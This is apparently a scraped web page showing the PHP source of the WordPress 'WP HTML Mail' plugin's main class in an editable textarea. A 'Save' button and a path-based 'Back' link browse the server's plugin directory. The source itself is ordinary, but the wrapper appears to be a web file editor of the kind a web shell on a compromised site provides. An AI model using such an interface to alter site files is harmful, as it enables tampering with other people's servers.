			&amp;&amp; is_email( trim( $options[&#039;testmode_recipient&#039;] ) )
		) {
			$email[&#039;to&#039;] = trim( $options[&#039;testmode_recipient&#039;] );
		}

		return $email;
	}


	public function style_mail_wpmandrill( $email ) {
		$email[&#039;message&#039;] = $email[&#039;html&#039;];
		$email            = $this-&gt;style_mail( $email );
		$email[&#039;html&#039;]    = $email[&#039;message&#039;];
		return $email;
	}


	private function add_attachments( $email ) {
		if ( $this-&gt;is_mailbuilder_message( $email[&#039;message&#039;] ) ) {
			$email_name = &#039;&#039;;
			preg_match( &#039;/&lt;!--mailbuilder\[(.*)\]--&gt;/mU&#039;, $email[&#039;message&#039;], $email_name );
			$email_name = $email_name[1];

			$email_id = Haet_Mail_Builder()-&gt;get_email_post_id( $email_name );
			if ( $email_id ) {
				$attachment_ids_json  = get_post_meta( $email_id, &#039;mailbuilder_attachments&#039;, true );
				$attachment_ids_array = json_decode( $attachment_ids_json );
				if ( is_array( $attachment_ids_array ) &amp;&amp; count( $attachment_ids_array ) &gt; 0 ) {
					foreach ( $attachment_ids_array as $attachment_id ) {
						$email[&#039;attachments&#039;][] = get_attached_file( $attachment_id );
					}
				}
			}
		}

		return $email;
	}



	public function set_mail_content_type() {
		return &#039;text/html&#039;;
	}

	public function set_mail_charset() {
		return &#039;UTF-8&#039;;
	}

	public function set_mail_sender_name( $name ) {
		$options = $this-&gt;get_options();
		$sender  = stripslashes( $options[&#039;fromname&#039;] );
		return $sender;
	}

	public function set_mail_from_address( $email ) {
		$options = $this-&gt;get_options();
		$sender  = $options[&#039;fromaddress&#039;];
		return $sender;
	}


	public function load_template_file( $template_name ) {
		$template_path        = locate_template( &#039;wp-html-mail/template.html&#039; );
		$upload_dir           = wp_upload_dir();
		$custom_template_path = trailingslashit( $upload_dir[&#039;basedir&#039;] ) . &#039;wp-html-mail/template.html&#039;;
		$haet_path            = HAET_MAIL_PATH . &#039;views/template/template.html&#039;;

		if ( ! file_exists( $template_path ) ) {
			$template_path = $custom_template_path;
			if ( ! file_exists( $custom_template_path ) ) {
				$template_path = HAET_MAIL_PATH . &#039;views/template/template.html&#039;;
			}
		}

		if ( is_file( $template_path ) ) {
			ob_start();
			require $template_path;
			$template_content = ob_get_clean();
		} else {
			$template_content = false;
		}
		return $template_content;
	}



	private function get_header( $options ) {
		$headerimg_placement = $options[&#039;headerimg_placement&#039;];
		$link_header         = apply_filters( &#039;haet_mail_link_header&#039;, true );

		if ( ! $headerimg_placement ) {
			$headerimg_placement = &#039;replace_text&#039;;
		}

		$headertext_field_key = $this-&gt;multilanguage-&gt;get_translateable_theme_options_key( $options, &#039;headertext&#039; );
		if ( array_key_exists( $headertext_field_key, $options ) ) {
			$headertext = $options[ $headertext_field_key ];
		} else {
			$headertext = $options[&#039;header&#039;];
		}
		$headertext = str_replace( &#039;  &#039;, &#039; &amp;nbsp;&#039;, $headertext );

		$headerimg_field_key = $this-&gt;multilanguage-&gt;get_translateable_theme_options_key( $options, &#039;headerimg&#039; );

		if (
			&#039;just_text&#039; !== $headerimg_placement
			&amp;&amp; array_key_exists( $headerimg_field_key, $options )
			&amp;&amp; strlen( $options[ $headerimg_field_key ] ) &gt; 5
		) {
			$width     = isset( $options[&#039;headerimg_width&#039;] ) &amp;&amp; intval( $options[&#039;headerimg_width&#039;] ) ? $options[&#039;headerimg_width&#039;] : 0;
			$height    = isset( $options[&#039;headerimg_height&#039;] ) &amp;&amp; intval( $options[&#039;headerimg_height&#039;] ) ? $options[&#039;headerimg_height&#039;] : 0;
			$alt_text  = ( $headerimg_placement == &#039;replace_text&#039; ? $headertext : $options[&#039;headerimg_alt&#039;] );
			$headerimg = &#039;&lt;img class=&quot;header-image&#039; . ( $width &gt; 580 ? &#039; full-width-header-image&#039; : &#039;&#039; ) . &#039;&quot; 
										src=&quot;&#039; . $options[ $headerimg_field_key ] . &#039;&quot; 
										style=&quot;&#039; .
				( $width ? &#039;width:&#039; . $width . &#039;px; &#039; : &#039;&#039; ) .
				( $height ? &#039;height:&#039; . $height . &#039;px; &#039; : &#039;&#039; ) .
				&#039;&quot; &#039; .
				( $width ? &#039; width=&quot;&#039; . $width . &#039;&quot; &#039; : &#039;&#039; ) .
				( $height ? &#039; height=&quot;&#039; . $height . &#039;&quot; &#039; : &#039;&#039; ) .
				&#039;
										alt=&quot;&#039; . $alt_text . &#039;&quot;&gt;&#039;;
			if ( $link_header ) {
				$headerimg = &#039;&lt;a href=&quot;&#039; . get_home_url() . &#039;&quot;&gt;&#039; . $headerimg . &#039;&lt;/a&gt;&#039;;
			}

			if ( ! $options[&#039;headerimg_align&#039;] ) {
				$options[&#039;headerimg_align&#039;] = $options[&#039;headeralign&#039;];
			}
			if ( ! $options[&#039;header_spacer&#039;] ) {
				$options[&#039;header_spacer&#039;] = 10;
			}
		} else {
			$headerimg_placement = &#039;just_text&#039;;
		}

		if ( $link_header ) {
			$headertext = &#039;&lt;a href=&quot;&#039; . get_home_url() . &#039;&quot;&gt;&#039; . $headertext . &#039;&lt;/a&gt;&#039;;
		}

		switch ( $headerimg_placement ) {
			case &#039;just_text&#039;:
				$header = $headertext;
				break;
			case &#039;replace_text&#039;:
				ob_start();
				?&gt;
				&lt;table width=&quot;100%&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;
					&lt;tr&gt;
						&lt;td class=&quot;header-image&quot; align=&quot;&lt;?php echo esc_attr( $options[&#039;headerimg_align&#039;] ); ?&gt;&quot; style=&quot;text-align: &lt;?php echo esc_attr( $options[&#039;headerimg_align&#039;] ); ?&gt;;&quot;&gt;
							&lt;?php echo $headerimg; ?&gt;
						&lt;/td&gt;
					&lt;/tr&gt;
				&lt;/table&gt;
				&lt;?php
				$header = ob_get_clean();
				break;
			case &#039;above_text&#039;:
				ob_start();
				?&gt;
				&lt;table width=&quot;100%&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;
					&lt;tr&gt;
						&lt;td class=&quot;header-image&quot; align=&quot;&lt;?php echo esc_attr( $options[&#039;headerimg_align&#039;] ); ?&gt;&quot; style=&quot;
								text-align: &lt;?php echo esc_attr( $options[&#039;headerimg_align&#039;] ); ?&gt;; 
								padding-bottom: &lt;?php echo esc_attr( $options[&#039;header_spacer&#039;] ); ?&gt;px; 
								&quot;&gt;
							&lt;?php echo $headerimg; ?&gt;
						&lt;/td&gt;
					&lt;/tr&gt;
					&lt;tr&gt;
						&lt;td class=&quot;header-text&quot; align=&quot;&lt;?php echo esc_attr( $options[&#039;headeralign&#039;] ); ?&gt;&quot; style=&quot;text-align: &lt;?php echo esc_attr( $options[&#039;headeralign&#039;] ); ?&gt;&quot;&gt;
							&lt;?php echo wp_kses_post( $headertext ); ?&gt;
						&lt;/td&gt;
					&lt;/tr&gt;
				&lt;/table&gt;
				&lt;?php
				$header = ob_get_clean();
				break;
			case &#039;below_text&#039;:
				ob_start();
				?&gt;
				&lt;table width=&quot;100%&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;
					&lt;tr&gt;
						&lt;td class=&quot;header-text&quot; align=&quot;&lt;?php echo esc_attr( $options[&#039;headeralign&#039;] ); ?&gt;&quot; style=&quot;text-align: &lt;?php echo esc_attr( $options[&#039;headeralign&#039;] ); ?&gt;&quot;&gt;
							&lt;?php echo wp_kses_post( $headertext ); ?&gt;
						&lt;/td&gt;
					&lt;/tr&gt;
					&lt;tr&gt;
						&lt;td class=&quot;header-image&quot; align=&quot;&lt;?php echo esc_attr( $options[&#039;headerimg_align&#039;] ); ?&gt;&quot; style=&quot;
								text-align: &lt;?php echo esc_attr( $options[&#039;headerimg_align&#039;] ); ?&gt;; 
								padding-top: &lt;?php echo esc_attr( $options[&#039;header_spacer&#039;] ); ?&gt;px; 
								&quot;&gt;
							&lt;?php echo $headerimg; ?&gt;
						&lt;/td&gt;
					&lt;/tr&gt;
				&lt;/table&gt;
				&lt;?php
				$header = ob_get_clean();
				break;
		}

		return $header;
	}



	public function get_template( $options ) {
		$template = $this-&gt;load_template_file( &#039;default&#039; );

		$options[&#039;headertext&#039;] = apply_filters( &#039;haet_mail_header&#039;, $this-&gt;get_header( $options ) );

		if ( ! $options[&#039;headerbackground&#039;] ) {
			$options[&#039;headerbackground&#039;] = &#039;transparent&#039;;
		}

		if ( ! $options[&#039;contentbackground&#039;] ) {
			$options[&#039;contentbackground&#039;] = &#039;transparent&#039;;
		}

		if ( ! $options[&#039;footerbackground&#039;] ) {
			$options[&#039;footerbackground&#039;] = &#039;transparent&#039;;
		}

		$footer_field_key = $this-&gt;multilanguage-&gt;get_translateable_theme_options_key( $options, &#039;footer&#039; );
		if ( array_key_exists( $footer_field_key, $options ) ) {
			$options[ $footer_field_key ] = stripslashes( $options[ $footer_field_key ] );
		} else {
			$options[ $footer_field_key ] = $options[&#039;footer&#039;];
		}
		$options[&#039;footer&#039;] = apply_filters( &#039;haet_mail_footer&#039;, $options[ $footer_field_key ] );

		foreach ( $options as $option =&gt; $value ) {
			if ( strpos( $option, &#039;bold&#039; ) ) {
				$value = ( $value == 1 ? &#039;bold&#039; : &#039;normal&#039; );
			}
			if ( strpos( $option, &#039;italic&#039; ) ) {
				$value = ( $value == 1 ? &#039;italic&#039; : &#039;normal&#039; );
			}
			if ( strpos( $option, &#039;underline&#039; ) ) {
				$value = ( $value == 1 ? &#039;underline&#039; : &#039;none&#039; );
			}
			$template = str_replace( &#039;###&#039; . $option . &#039;###&#039;, $value, $template );
		}
		return $template;
	}



	private function prepare_email_for_delivery( $message ) {
		// general custom CSS via filters
		$custom_css_desktop = &#039;&#039;;
		$custom_css_mobile  = &#039;&#039;;
		$custom_css_desktop = apply_filters( &#039;haet_mail_css_desktop&#039;, $custom_css_desktop );
		$custom_css_mobile  = apply_filters( &#039;haet_mail_css_mobile&#039;, $custom_css_mobile );
		$custom_css_mobile  = &#039; @media screen and (max-width: 400px) { &#039; . PHP_EOL . $custom_css_mobile . &#039; } &#039;;
		$message            = str_replace( &#039;/**** ADD CSS HERE ****/&#039;, $custom_css_desktop . &#039;/**** ADD CSS HERE ****/&#039;, $message );
		$message            = str_replace( &#039;/**** ADD MOBILE CSS HERE ****/&#039;, $custom_css_mobile . &#039;/**** ADD MOBILE CSS HERE ****/&#039;, $message );

		$message = $this-&gt;inline_css( $message );

		// remove any scripts injected by hooks and shortcodes
		$message = preg_replace( &#039;/(&lt;script.*&lt;\/script&gt;)/Us&#039;, &#039;&#039;, $message );

		$options = $this-&gt;get_options();
		// OMG, isn&#039;t there a better way to get rid of these encoding issues!?
		if ( isset( $options[&#039;invalid_contenttype_to_html&#039;] ) &amp;&amp; $options[&#039;invalid_contenttype_to_html&#039;] ) {
			$message = htmlentities( $message, ENT_NOQUOTES, &#039;UTF-8&#039;, false );
			$message = str_replace( array( &#039;&amp;lt;&#039;, &#039;&amp;gt;&#039; ), array( &#039;&lt;&#039;, &#039;&gt;&#039; ), $message );
		}

		$message = str_replace(&#039;&lt;outlookconditionalcommentstart/&gt;&#039;,&#039;&lt;!--[if gte mso 9]&gt;&#039;,$message);
		$message = str_replace(&#039;&lt;outlookconditionalcommentstart&gt;&lt;/outlookconditionalcommentstart&gt;&#039;,&#039;&lt;!--[if gte mso 9]&gt;&#039;,$message);

		$message = str_replace(&#039;&lt;outlookconditionalcommentend/&gt;&#039;,&#039;&lt;![endif]--&gt;&#039;,$message);
		$message = str_replace(&#039;&lt;outlookconditionalcommentend&gt;&lt;/outlookconditionalcommentend&gt;&#039;,&#039;&lt;![endif]--&gt;&#039;,$message);

		return $message;
	}


	public function inline_css( $html ) {
		require_once trailingslashit( HAET_MAIL_PATH ) . &#039;vendor/autoload.php&#039;;

		$css_to_inline_styles = new voku\CssToInlineStyles\CssToInlineStyles( $html );

		$css_to_inline_styles-&gt;setExcludeConditionalInlineStylesBlock( false );
		$css_to_inline_styles-&gt;setUseInlineStylesBlock( true );
		return $css_to_inline_styles-&gt;convert();
	}



	public function get_default_fonts() {
		return array(
			&#039;Arial, Helvetica, sans-serif&#039;  =&gt; &#039;Arial&#039;,
			&#039;Helvetica, Arial, sans-serif&#039;  =&gt; &#039;Helvetica&#039;,
			&#039;Times New Roman,Georgia,serif&#039; =&gt; &#039;Times New Roman&#039;,
			&#039;Georgia,Times New Roman,serif&#039; =&gt; &#039;Georgia&#039;,
			&#039;Courier, monospace&#039;            =&gt; &#039;Courier&#039;,
			&#039;Tahoma, Geneva, sans-serif&#039;    =&gt; &#039;Tahoma&#039;,
			&#039;Lucida Sans, sans-serif&#039;       =&gt; &#039;Lucida&#039;,
			&#039;Trebuchet, sans-serif&#039;         =&gt; &#039;Trebuchet&#039;,
			&#039;Verdana, sans-serif&#039;           =&gt; &#039;Verdana&#039;,
		);
	}


	public function get_fonts() {
		return apply_filters( &#039;haet_mail_fonts&#039;, $this-&gt;get_default_fonts() );
	}


	public function get_tab_url( $tab = &#039;&#039; ) {
		if ( $tab ) {
			return esc_url( add_query_arg( &#039;tab&#039;, $tab, admin_url() . &#039;options-general.php?page=wp-html-mail&#039; ) );
		}
		return esc_url( remove_query_arg( &#039;tab&#039;, admin_url() . &#039;options-general.php?page=wp-html-mail&#039; ) );
	}


	private function field_name_to_id( $name ) {
		return str_replace( &#039;[&#039;, &#039;_&#039;, str_replace( &#039;]&#039;, &#039;_&#039;, $name ) );
	}


	public function font_toolbar( $fields ) {
		?&gt;
		&lt;div class=&quot;haet-font-toolbar&quot;&gt;
			&lt;?php
			foreach ( $fields as $type =&gt; $field ) {
				if ( is_array( $field ) ) {
					switch ( $type ) {
						case &#039;font&#039;:
							$fonts = $this-&gt;get_fonts();
							?&gt;
							&lt;select id=&quot;&lt;?php echo esc_attr( $this-&gt;field_name_to_id( $field[&#039;name&#039;] ) ); ?&gt;&quot; name=&quot;&lt;?php echo esc_attr( $field[&#039;name&#039;] ); ?&gt;&quot;&gt;
								&lt;?php foreach ( $fonts as $font =&gt; $display_name ) : ?&gt;
									&lt;option value=&quot;&lt;?php echo esc_attr( $font ); ?&gt;&quot; &lt;?php echo ( $field[&#039;value&#039;] == $font ? &#039;selected&#039; : &#039;&#039; ); ?&gt;&gt;&lt;?php echo esc_attr( $display_name ); ?&gt;&lt;/option&gt;
								&lt;?php endforeach; ?&gt;
							&lt;/select&gt;
							&lt;?php
							break;
						case &#039;fontsize&#039;:
							?&gt;
							&lt;select id=&quot;&lt;?php echo esc_attr( $this-&gt;field_name_to_id( $field[&#039;name&#039;] ) ); ?&gt;&quot; name=&quot;&lt;?php echo esc_attr( $field[&#039;name&#039;] ); ?&gt;&quot;&gt;
								&lt;?php for ( $fontsize = 11; $fontsize &lt;= 50; $fontsize++ ) : ?&gt;
									&lt;option value=&quot;&lt;?php echo esc_attr( $fontsize ); ?&gt;&quot; &lt;?php echo ( $field[&#039;value&#039;] == $fontsize ? &#039;selected&#039; : &#039;&#039; ); ?&gt;&gt;&lt;?php echo esc_attr( $fontsize ); ?&gt;px&lt;/option&gt;
								&lt;?php endfor; ?&gt;
							&lt;/select&gt;
							&lt;?php
							break;
						case &#039;color&#039;:
							?&gt;
							&lt;input type=&quot;text&quot; class=&quot;color&quot; id=&quot;&lt;?php echo esc_attr( $this-&gt;field_name_to_id( $field[&#039;name&#039;] ) ); ?&gt;&quot; name=&quot;&lt;?php echo esc_attr( $field[&#039;name&#039;] ); ?&gt;&quot; value=&quot;&lt;?php echo esc_attr( $field[&#039;value&#039;] ); ?&gt;&quot;&gt;
							&lt;?php
							break;
						case &#039;bold&#039;:
							?&gt;
							&lt;input type=&quot;hidden&quot; name=&quot;&lt;?php echo esc_attr( $field[&#039;name&#039;] ); ?&gt;&quot; value=&quot;0&quot;&gt;
							&lt;input type=&quot;checkbox&quot; id=&quot;&lt;?php echo esc_attr( $this-&gt;field_name_to_id( $field[&#039;name&#039;] ) ); ?&gt;&quot; class=&quot;haet-toggle&quot; name=&quot;&lt;?php echo esc_attr( $field[&#039;name&#039;] ); ?&gt;&quot; value=&quot;1&quot; &lt;?php echo ( $field[&#039;value&#039;] == 1 ? &#039;checked&#039; : &#039;&#039; ); ?&gt;&gt;
							&lt;label for=&quot;&lt;?php echo esc_attr( $this-&gt;field_name_to_id( $field[&#039;name&#039;] ) ); ?&gt;&quot;&gt;&lt;span class=&quot;dashicons dashicons-editor-bold&quot;&gt;&lt;/span&gt;&lt;/label&gt;
							&lt;?php
							break;
						case &#039;italic&#039;:
							?&gt;
							&lt;input type=&quot;hidden&quot; name=&quot;&lt;?php echo esc_attr( $field[&#039;name&#039;] ); ?&gt;&quot; value=&quot;0&quot;&gt;
							&lt;input type=&quot;checkbox&quot; id=&quot;&lt;?php echo esc_attr( $this-&gt;field_name_to_id( $field[&#039;name&#039;] ) ); ?&gt;&quot; class=&quot;haet-toggle&quot; name=&quot;&lt;?php echo esc_attr( $field[&#039;name&#039;] ); ?&gt;&quot; value=&quot;1&quot; &lt;?php echo ( $field[&#039;value&#039;] == 1 ? &#039;checked&#039; : &#039;&#039; ); ?&gt;&gt;
							&lt;label for=&quot;&lt;?php echo esc_attr( $this-&gt;field_name_to_id( $field[&#039;name&#039;] ) ); ?&gt;&quot;&gt;&lt;span class=&quot;dashicons dashicons-editor-italic&quot;&gt;&lt;/span&gt;&lt;/label&gt;
							&lt;?php
							break;
						case &#039;texttransform&#039;:
							?&gt;
							&lt;input type=&quot;hidden&quot; name=&quot;&lt;?php echo esc_attr( $field[&#039;name&#039;] ); ?&gt;&quot; value=&quot;none&quot;&gt;
							&lt;input type=&quot;checkbox&quot; id=&quot;&lt;?php echo esc_attr( $this-&gt;field_name_to_id( $field[&#039;name&#039;] ) ); ?&gt;&quot; class=&quot;haet-toggle&quot; name=&quot;&lt;?php echo esc_attr( $field[&#039;name&#039;] ); ?&gt;&quot; value=&quot;uppercase&quot; &lt;?php echo ( $field[&#039;value&#039;] == &#039;uppercase&#039; ? &#039;checked&#039; : &#039;&#039; ); ?&gt;&gt;
							&lt;label for=&quot;&lt;?php echo esc_attr( $this-&gt;field_name_to_id( $field[&#039;name&#039;] ) ); ?&gt;&quot;&gt;&lt;span class=&quot;dashicons dashicons-arrow-up&quot; title=&quot;&lt;?php esc_attr_e( &#039;Uppercase&#039;, &#039;wp-html-mail&#039; ); ?&gt;&quot;&gt;&lt;/span&gt;&lt;/label&gt;
							&lt;?php
							break;
						case &#039;align&#039;:
							?&gt;
							&lt;input type=&quot;radio&quot; name=&quot;&lt;?php echo esc_attr( $field[&#039;name&#039;] ); ?&gt;&quot; class=&quot;haet-toggle&quot; id=&quot;&lt;?php echo esc_attr( $this-&gt;field_name_to_id( $field[&#039;name&#039;] ) ); ?&gt;_left&quot; value=&quot;left&quot; &lt;?php echo ( $field[&#039;value&#039;] == &#039;left&#039; ? &#039;checked&#039; : &#039;&#039; ); ?&gt;&gt;
							&lt;label for=&quot;&lt;?php echo esc_attr( $this-&gt;field_name_to_id( $field[&#039;name&#039;] ) ); ?&gt;_left&quot;&gt;&lt;span class=&quot;dashicons dashicons-editor-alignleft&quot;&gt;&lt;/span&gt;&lt;/label&gt;

							&lt;input type=&quot;radio&quot; name=&quot;&lt;?php echo esc_attr( $field[&#039;name&#039;] ); ?&gt;&quot; class=&quot;haet-toggle&quot; id=&quot;&lt;?php echo esc_attr( $this-&gt;field_name_to_id( $field[&#039;name&#039;] ) ); ?&gt;_center&quot; value=&quot;center&quot; &lt;?php echo ( $field[&#039;value&#039;] == &#039;center&#039; ? &#039;checked&#039; : &#039;&#039; ); ?&gt;&gt;
							&lt;label for=&quot;&lt;?php echo esc_attr( $this-&gt;field_name_to_id( $field[&#039;name&#039;] ) ); ?&gt;_center&quot;&gt;&lt;span class=&quot;dashicons dashicons-editor-aligncenter&quot;&gt;&lt;/span&gt;&lt;/label&gt;

							&lt;input type=&quot;radio&quot; name=&quot;&lt;?php echo esc_attr( $field[&#039;name&#039;] ); ?&gt;&quot; class=&quot;haet-toggle&quot; id=&quot;&lt;?php echo esc_attr( $this-&gt;field_name_to_id( $field[&#039;name&#039;] ) ); ?&gt;_right&quot; value=&quot;right&quot; &lt;?php echo ( $field[&#039;value&#039;] == &#039;right&#039; ? &#039;checked&#039; : &#039;&#039; ); ?&gt;&gt;
							&lt;label for=&quot;&lt;?php echo esc_attr( $this-&gt;field_name_to_id( $field[&#039;name&#039;] ) ); ?&gt;_right&quot;&gt;&lt;span class=&quot;dashicons dashicons-editor-alignright&quot;&gt;&lt;/span&gt;&lt;/label&gt;
							&lt;?php
							break;
					}
				}
			}
			?&gt;
		&lt;/div&gt;
		&lt;?php
	}

	/**
	 * customized version of wp_kses_post
	 */
	public function kses_mailcontent( $html ){
		$allowed_tags = wp_kses_allowed_html(&#039;post&#039;);
		$allowed_tags[&#039;style&#039;] = [];
		$allowed_tags[&#039;outlookconditionalcommentstart&#039;] = [];
		$allowed_tags[&#039;outlookconditionalcommentend&#039;] = [];
		return wp_kses($html, $allowed_tags);
	}



	public function wrap_in_padding_container( $content, $id = &#039;&#039; ) {
		return &#039;&lt;table width=&quot;100%&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; id=&quot;&#039; . $id . &#039;&quot;&gt;
					&lt;tr&gt;
						&lt;td class=&quot;container-padding&quot;&gt;
							&#039; . $this-&gt;kses_mailcontent( $content ) . &#039;
						&lt;/td&gt;
					&lt;/tr&gt;
				&lt;/table&gt;&#039;;
	}



	/**
	 * Show action links on the plugin screen
	 */
	public function plugin_action_links( $links ) {
		return array_merge(
			array(
				&#039;&lt;a href=&quot;&#039; . get_admin_url( null, &#039;options-general.php?page=wp-html-mail&#039; ) . &#039;&quot;&gt;&#039; . __( &#039;Settings&#039; ) . &#039;&lt;/a&gt;&#039;,
			),
			$links
		);
	}


	public function maybe_show_testmode_warning() {
		$options = $this-&gt;get_options();
		if ( is_array( $options ) &amp;&amp; isset( $options[&#039;testmode&#039;] ) &amp;&amp; isset( $options[&#039;testmode_recipient&#039;] ) ) {
			if ( $options[&#039;testmode&#039;] &amp;&amp; is_email( trim( $options[&#039;testmode_recipient&#039;] ) ) ) {
				?&gt;
				&lt;div class=&quot;notice notice-warning&quot;&gt;
					&lt;p&gt;&lt;?php echo sprintf( __( &#039;&lt;strong&gt;Warning:&lt;/strong&gt; WP HTML Mail – Email test mode is enabled. All emails are redirected to &lt;strong&gt;%1$s&lt;/strong&gt;.&#039;, &#039;wp-html-mail&#039; ), esc_attr( $options[&#039;testmode_recipient&#039;] ) ); ?&gt;&lt;/p&gt;
				&lt;/div&gt;
				&lt;?php
			}
		}
	}

	/**
	 * added in 2.9
	 * debug mode can only be used when testmode is active to avoid sending debug infos to clients
	 */
	public function is_debug_mode() {
		$options = $this-&gt;get_options();
		return ( is_array( $options )
			&amp;&amp; isset( $options[&#039;testmode&#039;] )
			&amp;&amp; $options[&#039;testmode&#039;]
			&amp;&amp; isset( $options[&#039;testmode_recipient&#039;] )
			&amp;&amp; is_email( trim( $options[&#039;testmode_recipient&#039;] ) )
			&amp;&amp; isset( $options[&#039;debugmode&#039;] )
			&amp;&amp; $options[&#039;debugmode&#039;]
		);
	}

	/**
	 * set a default value for the header image placement.
	 * this is especially important for upgrading from versions before 3.0 where this parameter didn&#039;t exist
	 */
	public function init_headerimg_placement( $theme_options ) {
		$headerimg_field_key = $this-&gt;multilanguage-&gt;get_translateable_theme_options_key( $theme_options, &#039;headerimg&#039; );
		if ( ! array_key_exists( &#039;headerimg_placement&#039;, $theme_options ) ) {
			$theme_options[&#039;headerimg_placement&#039;] = &#039;&#039;;
		}

		if (
			$theme_options[&#039;headerimg_placement&#039;] != &#039;just_text&#039;
			&amp;&amp; ( ! isset( $theme_options[ $headerimg_field_key ] )
				|| strlen( $theme_options[ $headerimg_field_key ] ) &lt; 5
			)
		) {
			$theme_options[&#039;headerimg_placement&#039;] = &#039;replace_text&#039;;
		}
		return $theme_options;
	}


	/**
	 * Should we use the lite version of the WooCommerce integration?
	 */
	public function use_woocommerce_lite(){
		return ( 
			is_plugin_active(&#039;woocommerce/woocommerce.php&#039;) 
			&amp;&amp; !is_plugin_active(&#039;wp-html-mail-woocommerce/wp-html-mail-woocommerce.php&#039;) 
		);
	}
}

function Haet_Mail() {
	return Haet_Mail::instance();
}

Haet_Mail();

?&gt;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Fwp-html-mail%2Fincludes'>🔙 Back</a></p>